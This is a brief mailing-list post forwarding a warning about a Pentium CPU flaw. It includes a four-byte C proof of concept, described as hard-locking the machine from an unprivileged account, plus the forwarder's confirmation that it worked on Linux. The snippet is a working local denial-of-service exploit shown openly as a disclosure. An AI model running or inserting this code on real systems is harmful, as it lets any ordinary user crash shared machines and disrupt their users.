I received this on another mailing list.
I already tried it out with Linux 2.1.59 from an non-root user.
A Pentium-S/133 will halt imediately. A K6 will answer illegal instruction.
Steffen
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There is a SERIOUS bug in all pentium CPUs. The following
code will crash any machine running on a pentium CPU, MMX or no
MMX, any speed, regardless of OS (crash as in instant seize, hard
reboot the only cure):
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}
This require no special permissions to run, it works fine with
average-joe-userspace permissions. I have verified this, it works.
Demand a new CPU from Intel.
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